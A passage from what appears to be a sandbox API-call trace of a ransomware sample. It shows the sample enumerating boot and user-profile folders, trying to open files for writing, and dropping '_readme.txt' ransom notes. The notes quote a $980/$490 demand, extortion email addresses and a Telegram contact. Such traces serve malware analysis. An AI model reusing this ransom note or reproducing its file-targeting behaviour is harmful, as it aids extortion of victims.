returned=".mui" [0116.740] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.740] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0116.740] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.740] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0116.740] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.740] PathFindFileNameW (pszPath="C:\\Boot\\zh-TW\\") returned="zh-TW\\" [0116.740] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0116.740] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.740] PathFindFileNameW (pszPath="") returned="" [0116.740] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.741] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.741] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f3ef0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.741] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.741] PathAppendW (in: pszPath="C:\\Boot\\zh-TW\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-TW\\_readme.txt") returned 1 [0116.741] PathFileExistsW (pszPath="C:\\Boot\\zh-TW\\_readme.txt") returned 0 [0116.741] lstrcpyW (in: lpString1=0x39f9f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.741] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.741] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\_readme.txt" (normalized: "c:\\boot\\zh-tw\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.741] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.741] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.741] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0116.741] PathFindExtensionW (pszPath="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned=".mui" [0116.741] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.742] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0116.742] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.743] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0116.743] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.743] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0116.743] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0116.743] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.743] PathFindFileNameW (pszPath="") returned="" [0116.743] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.743] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.743] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f3ef0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.743] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.743] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", pMore="_readme.txt" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned 1 [0116.743] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned 1 [0116.743] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6bf02a10, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x6bf02a10, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.744] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6bf02a10, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x6bf02a10, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.744] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0116.744] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0116.744] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0116.744] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0116.744] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31e5db80, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x31e5db80, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0116.744] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2a4f7980, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x2a4f7980, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0116.744] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0116.744] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0116.744] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0116.744] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0116.744] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2a863920, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x2a863920, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0116.744] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0116.744] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0116.744] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x47d33af0, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x47d33af0, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0116.744] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT") returned=".DAT" [0116.744] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.745] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x47d0d990, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0116.745] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1") returned=".LOG1" [0116.745] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28f60c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0116.745] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2") returned=".LOG2" [0116.745] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0116.745] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned=".blf" [0116.745] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0116.745] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned=".regtrans-ms" [0116.745] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0116.745] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned=".regtrans-ms" [0116.745] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cd94e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0116.745] PathFindExtensionW 